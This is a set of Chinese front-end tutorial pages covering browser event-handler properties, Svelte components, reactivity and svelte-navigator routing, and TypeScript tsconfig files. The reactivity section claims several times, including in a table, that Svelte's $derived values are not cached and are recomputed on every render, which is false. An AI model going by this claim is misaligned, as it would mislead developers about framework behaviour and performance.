另一种是资源加载错误，比如`<img>`或`<script>`加载的资源出现加载错误。这时，Error 对象会传到对应的元素，导致该元素的`onerror`属性开始执行。

```js
element.onerror = function (event) {
  // ...
}
```

**注意，一般来说，资源的加载错误不会触发`window.onerror`**。

### GlobalEventHandlers.onload

### GlobalEventHandlers.onloadstart

元素完成加载时，会触发`load`事件，执行`onload()`。它的典型使用场景是`window`对象和`<img>`元素。对于`window`对象来说，只有页面的所有资源加载完成（包括图片、脚本、样式表、字体等所有外部资源），才会触发`load`事件。

对于`<img>`和`<video>`等元素，加载开始时还会触发`loadstart`事件，导致执行`onloadstart`。

### GlobalEventHandlers.onfocus

### GlobalEventHandlers.onblur

当前元素获得焦点时，会触发`element.onfocus`；失去焦点时，会触发`element.onblur`。

```js
element.onfocus = function () {
  console.log("onfocus event detected!");
};
element.onblur = function () {
  console.log("onblur event detected!");
};
```

注意，如果不是可以接受用户输入的元素，要触发`onfocus`，该元素必须有`tabindex`属性。

### GlobalEventHandlers.onscroll

页面或元素滚动时，会触发`scroll`事件，导致执行`onscroll()`。

### GlobalEventHandlers.oncontextmenu

### GlobalEventHandlers.onshow

用户在页面上按下鼠标的右键，会触发`contextmenu`事件，导致执行`oncontextmenu()`。如果该属性执行后返回`false`，就等于禁止了右键菜单。`document.oncontextmenu`与`window.oncontextmenu`效果一样。

```js
document.oncontextmenu = function () {
  return false;
};
```

上面代码中，`oncontextmenu`属性执行后返回`false`，右键菜单就不会出现。

元素的右键菜单显示时，会触发该元素的`onshow`监听函数。

### 其他的事件属性

鼠标的事件属性。

* onclick
* ondblclick
* onmousedown
* onmouseenter
* onmouseleave
* onmousemove
* onmouseout
* onmouseover
* onmouseup
* onwheel

键盘的事件属性。

* onkeydown
* onkeypress
* onkeyup

焦点的事件属性。

* onblur
* onfocus

表单的事件属性。

* oninput
* onchange
* onsubmit
* onreset
* oninvalid
* onselect

触摸的事件属性。

* ontouchcancel
* ontouchend
* ontouchmove
* ontouchstart

拖动的事件属性分成两类：一类与被拖动元素相关，另一类与接收被拖动元素的容器元素相关。

被拖动元素的事件属性。

* ondragstart：拖动开始
* ondrag：拖动过程中，每隔几百毫秒触发一次
* ondragend：拖动结束

接收被拖动元素的容器元素的事件属性。

* ondragenter：被拖动元素进入容器元素。
* ondragleave：被拖动元素离开容器元素。
* ondragover：被拖动元素在容器元素上方，每隔几百毫秒触发一次。
* ondrop：松开鼠标后，被拖动元素放入容器元素。

`<dialog>`对话框元素的事件属性。

* oncancel
* onclose

---

---
url: /svelte/index.md
---
# README
**Svelte 是一个用于构建 Web 应用的前端框架。**

它与传统 UI 框架（如 React、Vue）一样，让你可以通过声明式组件来构建界面，而每个组件通常包含模板、样式以及交互逻辑。

与其他框架最大的不同在于：

Svelte **将绝大部分工作提前到编译阶段**。组件代码会在构建时被编译成体积更小、运行更高效的原生 JavaScript，而不需要在浏览器中加载一个庞大的运行时框架。这让应用启动更快、性能更高。

你可以用 Svelte 构建整个应用（例如使用 SvelteKit），也可以逐步将它加入现有项目中。另外，你还可以把组件打包发布，让它们在任何支持 Web 的环境中使用。

Svelte 可以开发任何类型的应用，但最适合中小型项目；大型项目虽然可行，但因为生态不够成熟，通常需要对现有库进行适配或自己封装部分组件，这会增加一定的开发成本；如果团队非常热爱 Svelte，也可以逐步建立专属组件库和工具链。

大项目不必拘泥于单一框架，可以按页面或模块选最适合的技术栈，React/Vue/Svelte 混用完全可行，只要模块边界清晰、互不干扰。

### 对比

| 对比维度         | **Svelte**                                                   | **React**                                                    | **Vue 3**                                             |
| ---------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | ----------------------------------------------------- |
| **核心理念**     | 编译时框架 → 编译成直接操作 DOM 的 JS                        | 虚拟 DOM + 组件化，声明式 UI                                 | 虚拟 DOM + 组件化，声明式 UI，模板语法                |
| **DOM 更新机制** | 编译时生成精确 DOM 更新代码 → 无虚拟 DOM                     | 虚拟 DOM diff → runtime 更新 DOM                             | 虚拟 DOM diff + block tree 优化                       |
| **性能**         | 极高，小体积，少 runtime 开销                                | 很高，Fiber 调度优化，runtime 较大                           | 高，Proxy + block tree优化，但比 Svelte 有一定开销    |
| **Bundle 大小**  | 非常小（runtime 接近零）                                     | 较大（React + ReactDOM ~40KB）                               | 中等（Vue runtime ~20KB）                             |
| **语法风格**     | HTML + JS 原生写法，响应式通过变量赋值                       | JSX + Hooks（函数式组件）                                    | 模板 + Composition API / Options API                  |
| **响应式机制**   | 赋值即更新，自动追踪依赖 (`$:`)                              | state + setState / useState，hooks 控制副作用                | reactive / ref + effect，模板自动绑定                 |
| **学习难度**     | ⭐⭐ ★（上手快，源码理解简单）                                 | ⭐⭐⭐ ★★（JSX + Hooks 心智负担大）                             | ⭐⭐ ★★（模板语法简单，Composition API 学习曲线中等）   |
| **生态成熟度**   | 较小，社区少，UI 库不多                                      | 最大，成熟，社区活跃，插件丰富                               | 大，成熟，社区活跃，UI 库丰富                         |
| **常用生态库**   | SvelteKit（SSR / 路由）、Svelte Motion、Svelte-Forms、Carbon Components Svelte | React Router、Redux / Zustand、React Query、Material UI / Ant Design | Vue Router、Pinia、VueUse、Element Plus、Naive UI     |
| **适用场景**     | 小中型应用、工具类页面、文档站、轻量商城                     | 所有场景，大型应用、复杂业务、企业级系统                     | 中大型应用、后台管理、商城、企业系统                  |
| **劣势 / 局限**  | 生态小，需要自己封装或适配库；大型项目团队稀缺               | Bundle 相对大，虚拟 DOM 可能增加微小延迟                     | 虚拟 DOM 有开销，部分复杂优化需要掌握 Composition API |
| **开发体验**     | 极简，接近原生 HTML + JS                                     | 函数组件 + Hooks 需要理解生命周期和副作用                    | 模板友好，逻辑与视图分离，Composition API 更灵活      |

### 优势

**高性能 + 小体积** → 无虚拟 DOM，运行时开销极低

**简洁直观的语法** → 变量赋值即可响应，少 boilerplate

**编译型优化** → 生成最小化 JS，更新 DOM 精准

**SSR 友好** → SvelteKit 支持静态站点和服务器渲染

**学习曲线平滑** → 上手比 React / Vue 快

**适合独立开发者/小团队** → 小而美的项目，工具类、文档站

### 劣势

**生态不够成熟** → UI 库、插件少，需要自己封装或适配

**大型团队/企业项目成本高** → 招人难，开发大型系统要补充生态

**动态能力有限** → 编译时分析限制了一些高级动态特性

**调试底层不如 React/Vue 直观** → 更新路径编译生成，源码阅读稍复杂

### 难度

**Svelte** → ⭐⭐（很快上手，逻辑简单，响应式机制自然）

**Vue 3** → ⭐⭐ ★★（模板简单，但 Composition API 有学习成本）

**React** → ⭐⭐⭐ ★★（JSX + Hooks 心智负担高，副作用管理复杂）

---

---
url: /svelte/iew8njg8/index.md
---
# Svelte 使用 SPA 路由 History 模式
> TODO：**待完善**

在 Svelte 生态系统中，如果你不使用 SvelteKit（它自带基于文件系统的路由），而是使用标准的 Vite + Svelte 搭建 SPA（单页应用），最合适、社区接受度最高且功能完备的库是 [svelte-navigator](https://github.com/mefechoel/svelte-navigator)。

* **原生支持 History 模式**：默认就是 History API，不像某些库（如 svelte-spa-router）默认是 Hash 模式。
* **声明式路由**：写法非常像 React Router (`<Router>, <Route>, <Link>`)，直观易懂。
* **无障碍支持（Accessibility）**：它会自动处理路由切换后的焦点管理，这对屏幕阅读器很友好。
* **Hook 支持**：提供了 useNavigate, useLocation, useParams 等实用的 Hooks。

```bash
npm install svelte-navigator
```

假设你的入口文件是 App.svelte。

```svelte
<script>
  import { Router, Link, Route } from "svelte-navigator";
  import Home from "./routes/Home.svelte";
  import About from "./routes/About.svelte";
  // User 详情页组件
  import UserProfile from "./routes/UserProfile.svelte"; 
</script>

<!-- Router 组件包裹整个应用内容 -->
<Router>
  <nav>
    <!-- Link 组件用于导航，会自动处理 href 和点击事件 -->
    <Link to="/">首页</Link>
    <Link to="/about">关于</Link>
    <Link to="/user/123">用户 123</Link>
  </nav>

  <main>
    <!-- Route 定义路径和对应的组件 -->
    
    <!-- 基础路由 -->
    <Route path="/" component={Home} />
    
    <!-- 二级路由/普通路由 -->
    <Route path="about" component={About} />

    <!-- 带参数的路由 -->
    <Route path="user/:id" component={UserProfile} />
  </main>
</Router>

<style>
  nav {
    display: flex;
    gap: 10px;
    padding: 10px;
    border-bottom: 1px solid #ccc;
  }
</style>
```

**路由懒加载 (Code Splitting)**

Svelte 的懒加载非常优雅，不需要复杂的路由配置，直接利用 Svelte 原生的 {#await} 块配合动态 import() 即可。

```svelte
<script>
  import { Router, Link, Route } from "svelte-navigator";
  import Home from "./routes/Home.svelte";
  // 注意：不需要在顶部静态 import 那些大组件
</script>

<Router>
  <nav>
    <Link to="/">首页</Link>
    <Link to="/heavy-page">大型页面 (懒加载)</Link>
  </nav>

  <Route path="/" component={Home} />

  <!-- 懒加载实现 -->
  <Route path="heavy-page">
    <!-- 使用动态 import -->
    {#await import('./routes/HeavyPage.svelte')}
      <!-- 加载中状态 -->
      <div>Loading...</div>
    {:then module}
      <!-- 加载成功，渲染组件，module.default 是组件本身 -->
      <svelte:component this={module.default} />
    {:catch error}
      <!-- 错误处理 -->
      <div>加载失败: {error.message}</div>
    {/await}
  </Route>
</Router>
```

**优点**：Vite 会自动将 `HeavyPage.svelte` 分割成单独的 chunk（js文件），只有当用户访问该路由时才会下载。

**常用实用选项与功能**

**获取路由参数** (useParams)

在 UserProfile.svelte (路径: /user/:id) 中：

```svelte
<script>
  import { useParams } from "svelte-navigator";
  
  // useParams 返回一个 store
  const params = useParams();
  
  // 响应式获取 id
  $: userId = $params.id;
</script>

<h1>用户 ID: {userId}</h1>
```

**编程式导航** (useNavigate)

在代码逻辑中跳转（例如登录成功后）：

```svelte
<script>
  import { useNavigate } from "svelte-navigator";

  const navigate = useNavigate();

  function handleLogin() {
    // 执行登录逻辑...
    
    // 跳转到首页
    navigate("/", { replace: true }); // replace: true 替换当前历史记录
    
    // 或者后退
    // navigate(-1);
  }
</script>

<button on:click={handleLogin}>登录</button>
```

**404** 页面 (通配符路由)

通常放在所有 Route 的最后面：

```svelte
<script>
  import NotFound from "./routes/NotFound.svelte";
</script>

<!-- 其他路由... -->

<!-- path="*" 匹配所有未命中的路径 -->
<Route path="*">
  <NotFound />
</Route>
```

**路由守卫** (Protected Route)

Svelte 中做路由守卫通常是创建一个包装组件。

**PrivateRoute.svelte**:

```svelte
<script>
  import { Route, useNavigate } from "svelte-navigator";
  import { onMount } from "svelte";

  export let path;
  export let component;
  
  // 假设你有一个 store 存储登录状态
  // import { isLoggedIn } from '../store'; 
  let isLoggedIn = false; // 模拟未登录

  const navigate = useNavigate();

  onMount(() => {
    if (!isLoggedIn) {
      navigate("/login", { replace: true });
    }
  });
</script>

{#if isLoggedIn}
  <Route {path} {component} />
{/if}
```

在 svelte-navigator 中添加路由过渡动画（尤其是“纯透明度渐变”且不破坏布局），最大的挑战在于：**当旧页面淡出、新页面淡入时，它们会同时存在于 DOM 中**。如果不处理，新页面会被挤到旧页面下方。

最完美的解决方案是创建一个**过渡包装组件**，并利用 **CSS Grid** 让新旧页面在动画期间**重叠**在一起。

**完整的实现步骤**：

1. 创建过渡包装组件

我们需要创建一个组件（例如 `RouteTransitions.svelte`），它必须作为 `<Router>` 的**子组件**使用，因为我们需要调用 `useLocation` 钩子。

在 src 下新建文件 `RouteTransitions.svelte`：

```svelte
<!-- src/RouteTransitions.svelte -->
<script>
  import { useLocation } from "svelte-navigator";
  import { fade } from "svelte/transition";

  const location = useLocation();

  // 设置动画持续时间（毫秒）
  const duration = 300;
</script>

<!-- 
  核心原理：
  使用 Grid 布局让子元素重叠在同一个网格区域 (grid-area: 1/1)。
  这样当一个页面 fade-out，另一个 page fade-in 时，它们是原位重叠的。
-->
<div class="transition-container">
  {#key $location.pathname}
    <div
      class="transition-wrapper"
      in:fade={{ duration: duration, delay: duration }} 
      out:fade={{ duration: duration }}
    >
      <!-- 这里通过 slot 插入具体的 Route 定义 -->
      <slot />
    </div>
  {/key}
</div>

<style>
  .transition-container {
    display: grid;
    grid-template-rows: 1fr;
    grid-template-columns: 1fr;
    width: 100%;
    height: 100%; /* 确保占满父容器 */
    overflow: hidden; /* 防止动画溢出 */
  }

  .transition-wrapper {
    grid-area: 1 / 1; /* 强制新旧页面处于同一位置 */
    width: 100%;
    height: 100%;
  }
</style>
```

**注意动画参数**：

* `in:fade={{ delay: duration }}`: 这是一个**顺序淡入淡出**的技巧。让新页面等待旧页面淡出后再淡入。
* 如果你想要**交叉淡入淡出（Cross Fade，新旧同时变）**，请删除 `delay: duration`。

2. 集成到 App.svelte

在主文件中，将 `<Route>` 组件包裹在我们刚才写的 `<RouteTransitions>` 中。

```svelte
<!-- src/App.svelte -->
<script>
  import { Router, Link, Route } from "svelte-navigator";
  import RouteTransitions from "./RouteTransitions.svelte";
  
  import Home from "./routes/Home.svelte";
  import About from "./routes/About.svelte";
</script>

<Router>
  <nav>
    <Link to="/">首页</Link>
    <Link to="/about">关于</Link>
  </nav>

  <!-- 将路由定义包裹在过渡组件中 -->
  <main>
    <RouteTransitions>
      <!-- 
         注意：Route 必须放在这里。
         每次路径变化，RouteTransitions 会触发 #key 更新，
         导致内部的 Route 销毁并重新挂载，从而触发动画。
      -->
      <Route path="/" component={Home} />
      <Route path="about" component={About} />
    </RouteTransitions>
  </main>
</Router>

<style>
  /* 简单的布局样式 */
  nav {
    padding: 1rem;
    border-bottom: 1px solid #eee;
    margin-bottom: 1rem;
  }
  main {
    position: relative;
    min-height: 500px; /* 给容器一个高度，防止动画时高度坍塌 */
  }
</style>
```

**两种常见的 Fade 效果对比与调整**

**方案 A**：交叉淡入淡出 (Cross Fade) —— 推荐

旧页面变淡的同时，新页面变实。视觉上最平滑，感觉像原生应用。

**修改代码**：去掉 in 的 delay。

**CSS要求**：必须使用上面提供的 grid-area: 1/1 样式，否则页面会上下跳动。

```svelte
<!-- 修改 RouteTransitions.svelte -->
<div
  class="transition-wrapper"
  in:fade={{ duration: 300 }} 
  out:fade={{ duration: 300 }}
>
  <slot />
</div>
```

**方案 B**：先出后进 (Sequence Fade)

旧页面完全消失变白，新页面再慢慢显示。

**修改代码**：保留 delay。

**CSS要求**：Grid 布局依然推荐，防止布局闪烁。

```svelte
<!-- 修改 RouteTransitions.svelte -->
<div
  class="transition-wrapper"
  in:fade={{ duration: 300, delay: 300 }} 
  out:fade={{ duration: 300 }}
>
  <slot />
</div>
```

---

---
url: /svelte/kf2zz2df/index.md
---
# Svelte 介绍
### 组件

在 Svelte 中，应用由 **一个或多个组件组成**。

组件是构建 UI 的基本单元，它是一个 **可复用、自包含** 的代码块，通常包含：

* **HTML** —— 结构
* **CSS** —— 样式
* **JavaScript/TypeScript** —— 逻辑

这些内容全部写在一个 `.svelte` 文件中，因此 Svelte 文件看起来非常直观、可读性强。

```svelte
<script>
	// JS/TS 逻辑
</script>

<style>
	/* CSS 样式 */
</style>

<!-- HTML 模板 -->
<main>
	{表达式}
</main>
```

比如 `App.svelte` 是项目中的根组件。

组件的逻辑写在 `<script>` 标签内（支持 `lang="ts"` 使用 TypeScript）：

```svelte
<script lang="ts">
	let name = 'Svelte';
</script>
```

这里我们声明了一个变量 `name`，之后可以在模板中直接使用。

### 插值表达式

Svelte 使用大括号 `{}` 来将 JavaScript 变量插入到 HTML 标记中：

```svelte
<h1>Hello {name}!</h1>
```

效果会渲染为：

```svelte
Hello Svelte!
```

你也可以在大括号中写任意 JavaScript 表达式，例如：

```svelte
<h1>Hello {name.toUpperCase()}!</h1>
```

渲染为：

```svelte
Hello SVELTE!
```

**表达式尽量保持简单**，虽然可以写复杂逻辑，但推荐只放简单表达式，复杂逻辑写在 `<script>` 中会更清晰。

**这种数据绑定的特点**

* 插值 `{}` 中可以直接使用 JavaScript
* 数据驱动模板渲染
* 无需 `.value`、`useState()` 等特殊语法
* 变量变化时，Svelte 会自动更新 DOM（内部由编译器优化）

### 属性绑定

在 Svelte 中，花括号 `{}` 并不只用于文本插值，它们同样可以用于 **动态绑定 HTML 属性**。

例如，为 `<img>` 添加动态的 `src`：

```svelte
<img src={src} />
```

这意味着当 `src` 变量变化时，图片资源会自动更新。

你可能会看到这样的提示：

```svelte
<img> element should have an alt attribute
```

Svelte 内置了 **a11y 检查器**，会自动提示你是否编写了对某些用户不友好的标记，例如：

* `<img>` 缺少 `alt`
* `<button>` 中没有文本
* `<a>` 没有 `href`
* 标签语义使用不正确

这是为了确保应用能被所有用户访问，包括：

* 使用屏幕阅读器的视力障碍者
* 低带宽网络环境
* 弱硬件设备
* 依赖键盘导航的用户

在 `<img>` 中添加 `alt` 属性即可解决上面的问题：

```svelte
<img src={src} alt="A man dances." />
```

属性同样支持 JavaScript 表达式，比如字符拼接等

```svelte
<img src={src} alt="{name} dances." />
```

其中 `" {name} dances. "` 会自动变成实际的字符串，例如变量 `name = 'Tom'`，渲染为：

```svelte
Tom dances.
```

### 属性简写

如果属性名与变量同名，例如：

```svelte
<img src={src} />
```

Svelte 提供属性简写语法：

```svelte
<img {src} alt="{name} dances." />
```

这会自动解读为：

```svelte
src={src}
```

Vue 也有类似语法，比如 `:src="src"`，而 Svelte 更加简洁。

### 组件样式

就像普通的 HTML 一样，你可以在 Svelte 组件中编写 `<style>` 标签，为当前组件添加样式。

```svelte
<p>This is a paragraph.</p>

<style>
    p {
        color: goldenrod;
        font-family: 'Comic Sans MS', cursive;
        font-size: 2em;
    }
</style>
```

这段样式只会应用到 **当前组件内部的 `<p>` 标签**。

Svelte 的一大特点是：**组件内的样式自动是 scoped 的，它不会影响组件外的元素。**

举例来说：

* 你在 `App.svelte` 里写的 `<p>` 样式
* 不会影响 `Header.svelte`、`Footer.svelte` 或其他地方的 `<p>` 标签

这是由 Svelte 编译器在构建时自动处理的。

在 Svelte 中使用 Scss / Less：

```svelte
<style lang="scss">
    .container {
        color: red;

        .nested {
            font-size: 20px;
        }
    }
</style>
```

### 组件嵌套

随着应用规模增长，不可能把所有逻辑都写在一个 `.svelte` 文件里。因此，Svelte 和其他现代框架一样，允许我们把 UI 拆分成多个独立组件，并在需要的地方导入和使用它们。

首先，在 `App.svelte` 顶部添加一个 `<script>` 标签，从本地文件导入组件：

```svelte
<script lang="ts">
	import Nested from './Nested.svelte';
</script>
```

然后，就可以像使用普通 HTML 标签一样将它插入到模板中：

```svelte
<p>This is a paragraph.</p>
<Nested />
```

运行后，`Nested.svelte` 的渲染内容就会出现在对应位置。

即使 `Nested.svelte` 内也包含 `<p>` 元素，`App.svelte` 中的局部样式也不会影响它。

在 Svelte 中，组件通常使用 **大写开头（PascalCase）** 的名字，例如：

* `App.svelte`
* `Nested.svelte`
* `UserCard.svelte`
* `ProfileHeader.svelte`

这样做是为了**区分自定义组件与原生 HTML 标签**（`<div>`、`<p>`…）

### 渲染 HTML

在 Svelte 中，模板中的字符串内容默认会以**纯文本（textContent）** 方式插入，这种行为可以防止 HTML 被误解析，也自然避免了 XSS 的风险。

例如：

```svelte
<script>
	let text = "<strong>Hello</strong>";
</script>

<p>{text}</p>
```

页面上看到的是：

```svelte
<strong>Hello</strong>
```

而不是加粗的 “Hello”，这是安全默认值，字符串永远不会被当作 HTML 渲染。

某些场景下，你确实想要把字符串当作 HTML 展示。

例如：

* Markdown 转成的 HTML
* CMS（内容管理系统）的富文本内容
* 带有格式的文章片段
* 文档站点的 HTML 部分

在这种情况下，你可以使用 `{@html ...}` 指令：

```svelte
<p>{@html string}</p>
```

这会让 `string` 中的内容以真正的 HTML 插入 DOM。

Svelte 不会对 `{@html ...}` 的内容进行净化（sanitize）。

这意味着：

* 不会过滤 `<script>`
* 不会过滤 `onerror="..."`
* 不会过滤恶意事件处理函数
* 不会移除恶意 iframe 或链接

如果 **你渲染用户提交的内容**, 如：

* 评论区
* 用户 bio
* 富文本编辑器内容
* 论坛帖子

那么你必须手动进行 sanitize，否则会造成 **跨站脚本攻击（XSS）** 风险。

前端最常用的 HTML 清洗库 [DOMPurify](https://github.com/cure53/DOMPurify)

```bash
npm install dompurify
```

```svelte
<script>
	import DOMPurify from 'dompurify';

	export let content;

	// sanitize
	const safe = DOMPurify.sanitize(content);
</script>

<div>{@html safe}</div>
```

或者在 SvelteKit 中做服务器端净化。

---

---
url: /svelte/sdd4fn18/index.md
---
# Svelte 响应式
### 响应式系统

```js
let count = $state(0);

function increment() {
  count += 1;
}
```

Svelte 会：

* 自动追踪对 `count` 的读取与修改
* 自动重新更新所有使用 `count` 的 DOM
* 不需要手动 `.set()` 或 `this.setState()` 或 `ref.value`

假设你的模板是：

```svelte
<p>{count}</p>
<button onclick={increment}>Increment</button>
```

点击按钮后 DOM 会自动更新，无需手动触发刷新。

```js
let count = $state(0)
```

不是一个运行时函数，而是 **编译器指令**。

Svelte 编译器看到 `$state()` 会按以下方式变形：

* 编译成一个内部的 reactive store
* 追踪变量的依赖
* 生成优化后的 DOM 更新代码（不是虚拟 DOM）

### 深度响应性

```js
let numbers = $state([1, 2, 3, 4]);
```

这个数组是 **响应式代理对象（Proxy）**。

这意味着：对它的 任何修改  push、splice、直接赋值、修改对象属性……都会触发 DOM 更新。

Svelte 会响应所有深层修改

```js
numbers[0] = 999;    // 会更新
numbers.push(10);    // 会更新
numbers.length = 0;  // 会更新
```

不仅数组，对象也一样：

```js
let user = $state({ name: 'A', age: 20 });

function grow() {
  user.age++;     // 会触发更新
}
```

嵌套对象也有深度响应：无限深度

```js
let state = $state({
  user: {
    profile: {
      name: "Alice"
    }
  }
});

state.user.profile.name = "Bob"; // 自动更新 UI
```

Svelte 使用 Proxy 递归包装所有内容，直到访问发生。

Map / Set 也是响应式的

```js
let set = $state(new Set([1, 2, 3]));

set.add(4);  // ✔ 更新
set.delete(2); // ✔ 更新
```

Map 同理：

```js
let map = $state(new Map());
map.set("x", 10); // ✔ 更新
```

这是 Vue 3 才支持的，但 Svelte 一样实现了。

React 完全不支持，请求更新必须重新创建。

**注意**：深度响应与原始对象分离

```js
let arr = [1,2,3];
let numbers = $state(arr);
```

`numbers` 是 Proxy，但 `arr` 不是 Proxy。

修改 `arr` 不会触发更新，修改 `numbers` 才会。

**Svelte 为什么能实现深度响应？**

因为：

* 每个 `$state()` 返回 **本质上是 Proxy**
* 所有子对象在首次访问时会递归代理
* 任何 “set / delete / mutation” 都会被拦截

然后 Svelte 会：

* 标记组件需要更新
* 执行编译后的 DOM diff（极小 diff）
* 最终更新 DOM

这是 **编译 + 代理** 的组合。

`$state` 不需要用 `$state([])` 二次包裹属性

下面是错误方式：

```js
let user = $state({
  name: $state("Alice"), // 不需要
});
```

正确方式：

```js
let user = $state({
  name: "Alice", // 组件底层会自动代理
});
```

Svelte 会自动递归代理内部对象。

### 派生状态

**Svelte 的 `$derived` 与 Vue 的 computed（计算属性）本质上是同一种思想**，但 Svelte 的实现更底层、更轻量、更强大一些。

**基本用法**：

```js
let numbers = $state([1, 2, 3, 4]);
let total = $derived(numbers.reduce((t, n) => t + n, 0));
```

然后你可以在模板中引用：

```js
<p>{numbers.join(" + ")} = {total}</p>
```

每当 `numbers` 改变：

Svelte 自动重新执行 `$derived(...)`

`total` 会得到最新值

DOM 会更新

**关键点：`$derived` 是只读的，不能手动修改。**

`$derived` 与 Vue `computed` 的对比

| 功能点       | **Svelte `$derived`**          | **Vue computed**            |
| ------------ | ------------------------------ | --------------------------- |
| 定义方式     | `$derived(expr)`               | `computed(() => expr)`      |
| 是否只读     | ✔ 只读                         | 默认只读（也可定义 setter） |
| 自动依赖追踪 | ✔ 自动                         | ✔ 自动                      |
| 基于 Proxy   | ✔ 是                           | ✔ 是（Vue 3）               |
| 触发时机     | 依赖变化实时更新               | 依赖变化按需更新（缓存）    |
| 是否缓存     | ❌ 不缓存（再次访问会重新执行） | ✔ 有缓存                    |

**重大区别**：**Svelte 的派生值不缓存！**

在 Svelte 中，每次渲染都会执行 `$derived(...)`：

```js
let total = $derived(numbers.reduce(...));
```

它会在：

* numbers 变化时更新
* 组件重新渲染时重新调用表达式（非缓存）

Vue 的 computed 会缓存，直到依赖变化才重新计算。

**那 Svelte 为什么不缓存？**

因为 Svelte 是 **编译时框架**，编译器已经知道依赖关系，它不需要在运行时做缓存优化，这样能：

* 让运行时更轻量
* 减少响应系统的复杂度
* 让依赖追踪更直接

大多数派生值计算非常轻量，所以不缓存影响很小。

`$derived` 的限制：

不能手动修改，不能放异步逻辑

```js
let data = $derived(await fetch(...)); // 不允许 async
```

要用 `$effect` 或 `await` block

不应该做重运算（因为不缓存），如果真的很大计算量，可以搭配 `$effect`, `$state.snapshot()` 等手动优化。

**总结**：`$derived` 是 Svelte 中用于从其他响应式状态自动计算只读派生数据的机制，功能近似 Vue 的 computed，但不会缓存，依赖由编译器静态确定，运行时极其轻量。

### 状态调试

Svelte 在运行时的响应式状态是通过 **Proxy（代理）** 实现的，这意味着如果你直接把某个状态对象打印到控制台：

```js
console.log(numbers);
```

你会看到警告或无法克隆的提示，因为 Proxy 对象不能被结构化克隆（structured clone），为了解决这个问题，Svelte 提供了两种调试方式：

`$state.snapshot(...)` 获取非响应式快照，把响应式 Proxy 转换为普通对象/数组。

```js
function addNumber() {
    numbers.push(numbers.length + 1);

    // 打印快照
    console.log($state.snapshot(numbers));
}
```

作用：

* 去掉 Proxy 外壳
* 得到真正的数组/对象
* 可以安全打印、存储、发送给后端

这种方式适合在函数内部临时调试。

`$inspect(...)` 自动追踪状态变化（最推荐）

Svelte 的响应式系统会在代理对象 **发生任意变化时** 自动触发 `$inspect` 回调

```js
$inspect(numbers);
```

你什么都不需要做，只要 numbers 变化，控制台就自动打印快照。

`$inspect` 的特点

* **无需手动调试**，它会在状态变化时自动输出快照
* **不会影响性能**
* **生产环境会自动移除**
* **适合开发调试复杂状态**

`$inspect(...).with(fn)` 自定义调试行为

你可以让 `$inspect` 调用你自己的函数，比如 `console.trace`：

```js
$inspect(numbers).with(console.trace);
```

效果：每次 numbers 变化时打印堆栈跟踪，以便找到「是谁修改了状态」。

你也可以写成：

```js
$inspect(numbers).with(value => {
    console.log("numbers changed:", value);
});
```

或者：

```js
$inspect(numbers).with(v => console.log("snapshot:", JSON.stringify(v)));
```

`$state.snapshot` 与 `$inspect` 的区别总结

| 功能           | `$state.snapshot`  | `$inspect`               |
| :------------- | ------------------ | ------------------------ |
| 是否自动触发   | ❌ 需要手动调用     | ✔ 任何变更自动触发       |
| 使用场景       | 函数内部、单次打印 | 调试深度状态、开发期监控 |
| 数据是否是快照 | ✔ 是               | ✔ 是                     |
| 生产环境保留吗 | ✔ 保留             | ❌ 自动移除               |
| 自定义显示方式 | ❌                  | ✔ `.with(fn)`            |

**场景**：你想监控一个大型全局 store 的变动

```js
// store.js
export let user = $state({
    id: 1,
    name: "Yumeng",
    age: 18
});

// 调试
$inspect(user);
```

一旦 user 内部属性改变：

```js
user.age = 19;
```

浏览器立刻打印：

```js
{ id: 1, name: "Yumeng", age: 19 }
```

**场景**：你想知道某个状态是哪段代码改的

```js
$inspect(numbers).with(console.trace);
```

控制台会告诉你：

```js
numbers changed
    at addNumber()
    at ...
```

这在调试复杂逻辑时非常强大。

**总结**

* `$state.snapshot` 用于把响应式 Proxy 转换成普通对象，便于打印或传输。
* `$inspect` 用于自动追踪状态变化，在开发中提供快照调试，生产环境自动移除。
* `$inspect(...).with(fn)` 可以自定义调试行为，如 `console.log` 或 `console.trace`。

---

---
url: /ts/index.md
---
# README
## 介绍

**TypeScript** 是由微软开发的一种开源编程语言，是 **JavaScript 的超集**，也就是说，所有合法的 JavaScript 代码都是合法的 TypeScript 代码。

它的主要目的是在 **JavaScript 基础上加入类型系统**，以及一些 ES 新特性，让大型项目开发更可靠、更易维护。

官方口号：*“TypeScript: JavaScript that scales.”* —— 适合大规模项目的 JavaScript。

## 工作方式

TS 本身不能直接在浏览器运行，它需要 **编译（transpile）成 JavaScript** 才能执行。

1. TS 编写 `.ts` 文件
2. 使用 `tsc`（TypeScript 编译器）将 `.ts` 编译成 `.js`
3. 浏览器或 Node.js 执行编译后的 JS 文件

## 与 JavaScript 的关系

* TS 是 JS 的超集：JS 代码可以直接在 TS 项目中运行
* TS 提供静态类型、接口、枚举等增强功能
* 编译后生成标准 JS，可以在任何支持 JS 的环境运行
* TS 让大型项目维护更容易，尤其适合多人协作、复杂逻辑项目

## TypeScript 的优势

* **提前发现错误**：编译阶段即可发现类型错误
* **增强 IDE 支持**：自动补全、跳转、重构更精准
* **代码可维护性高**：类型让团队成员更容易理解代码
* **支持最新 JS 特性**：兼容 ES6+，同时可编译成低版本 JS

## 使用场景

* 大型前端框架（Angular 默认使用 TS）
* Node.js 后端（NestJS 强烈推荐 TS）
* 开源库开发（很多 JS 库提供 TS 类型声明）
* 多人团队项目，要求高可维护性和安全性

---

---
url: /ts/8b8r9rub/index.md
---
# tsconfig.app.json 和 tsconfig.json
在 TypeScript 项目（尤其 Vue/React 等工程化项目）中，`tsconfig.json` 和 `tsconfig.app.json` 是 **“主配置 + 子配置”** 的关系，核心是为了区分「整个项目的全局配置」和「应用代码（App）的专属配置」，避免配置冗余且精准控制编译范围。

## 继承与扩展

`tsconfig.app.json` 是 **针对应用代码的 “子配置”**，它会通过 `extends` 字段直接继承 `tsconfig.json` 的所有配置，再根据应用场景覆盖或补充特定规则。

可以理解为：

```json
tsconfig.app.json = tsconfig.json（基础配置） + 应用专属配置（覆盖/新增）
```

## 关键区别（表格对比）

| 维度           | tsconfig.json                                                | tsconfig.app.json                                            |
| -------------- | ------------------------------------------------------------ | ------------------------------------------------------------ |
| **定位**       | 项目根目录的「全局主配置」                                   | 应用代码的「专属子配置」                                     |
| **作用范围**   | 整个项目（包括 App 代码、测试代码、工具脚本等）              | 仅应用业务代码（如 `src/` 目录）                             |
| **继承关系**   | 无父配置，是所有子配置的 “基准”                              | 必须通过 `extends: "./tsconfig.json"` 继承主配置             |
